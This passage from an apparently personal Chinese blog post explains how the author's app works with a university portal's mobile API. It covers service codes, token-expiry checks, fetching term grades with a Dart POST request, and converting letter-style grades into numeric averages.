class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.SP\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;视频\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.ZL\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;资料\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.PF\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;评分\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.XR\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;选人\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;JX.HD.QD\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;抢答\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SH.WDSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;我的申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SH.DWSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;待我审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XK.MTXKBL\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;免听选课办理\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.CJRDSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;成绩认定申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PK.QXKBCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;全校课表查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PJ.XSPJ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;学生评教\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.DLFLSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;大类分流申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.ZZYSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;转专业申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;TC.TCCJLR\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;体测成绩录入\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PJ.DDPJ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;督导评教\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XJ.FXSQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;辅修申请\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PJ.PJBG\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;评教报告\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PJ.WDPJ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;过程性评教\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;TC.TCCJCX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;体测成绩查询\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;KW.CJRDSH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;成绩认定审核\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;service_key\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;PJ.GRPJZHTJ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"nt\"\u003e\u0026#34;servicename\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;个人评教综合统计\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在你 POST 之后,如果鉴权成功,则会返回一个空的 body 。没看错,是空的 body,为了这玩意我折腾了大约三分钟来写判断代码。如果返回了一个 json body,然后其中的 code 是 401,那就需要重新获取 token 了。基本上,重新获取就是重新走遍登录流程()\u003c/p\u003e\n\u003cp\u003e最后需要说明的是,我不知道这个步骤是否是必须的,也许不走这个步骤也能获取到数据。但是这个步骤目前是我所知能够最好判断 token 刷新的途径了。应该他们的前端也是这么实现的。\u003c/p\u003e\n\u003ch3 id=\"成绩获取\"\u003e成绩获取\u003c/h3\u003e\n\u003cp\u003e上集说过如何先“进入”一个程序吧,接下来我们需要获取数据并处理数据。不得不说,这个接口传递的方式很简单,获取的数据也是足够的干净。\u003c/p\u003e\n\u003cp\u003e首先是如何获取,很简单,给这个地方 POST 个数据就好:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003egetData\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eauthorizationDio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epost\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ehall.xidian.edu.cn/jwmobile/biz/v410/score/termScore\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;termCode\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;*\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中注意到 data,是传递的学期信息,格式类似 \u003ccode\u003e2023-2024-1\u003c/code\u003e ,代表2023年到2024年第一学期。星号代表所有学期的所有信息。\u003c/p\u003e\n\u003cp\u003e回复的信息中,如果 code 不是 200 ,不用想,肯定有问题。所以接下来就给大家看看具体信息长啥样\u003c/p\u003e\n\u003cp\u003e根据这个信息,我们就可以处理简单的展示了,接下来我们需要进一步处理数据。\u003c/p\u003e\n\u003cp\u003e我的程序是可以计算均分的,这里需要引入对成绩构成的定义:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e百分制度,0-100 给分数\u003c/li\u003e\n\u003cli\u003e五级赋分制,给优秀(95)、良好(85)、中等(75)、及格(65)、不及格(0)\u003c/li\u003e\n\u003cli\u003e三级赋分制,给优秀(95)、通过(75)、不通过(0)\u003c/li\u003e\n\u003cli\u003e二级赋分制,给通过(75)、不通过(0),注意不计算 GPA (八成给数据也是 0 学分)\u003c/li\u003e\n\u003cli\u003e免修计算为 85 分\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e据说还有两级赋分制,不过那些课是不计算 GPA 的,所以到时候再看。\u003c/p\u003e\n\u003cp\u003e那么,我们要计算均分,需要知道成绩信息里面的成绩字符串。这个成绩字符串可以是纯数字,也可以是上面提到的字符串。在计算均分的时候,我们需要转换这些字符串,这不难。而且我发现,GPA 和分数是紧密相关的。\u003c/p\u003e\n\u003ch3 id=\"考试信息获取\"\u003e考试信息获取\u003c/h3\u003e\n\u003cp\u003e这是我觉得这个接口最好的一点:数据结构十分清晰。接下来我将体现这一点。\u003c/p\u003e\n\u003cp\u003e如何进入考试应用请看上集提到的东西,代号是:\u003ccode\u003eKW.KSAPCX\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e进入课程信息后,我们需要获取学期信息。这个学期信息我觉得是非常优秀的,因为返回数据中有一个布尔值,表示是否为当前学期。我的代码中有一段代码,如果接口无法访问,就使用我程序缓存的目前学期的代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// Choose the first period...\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan 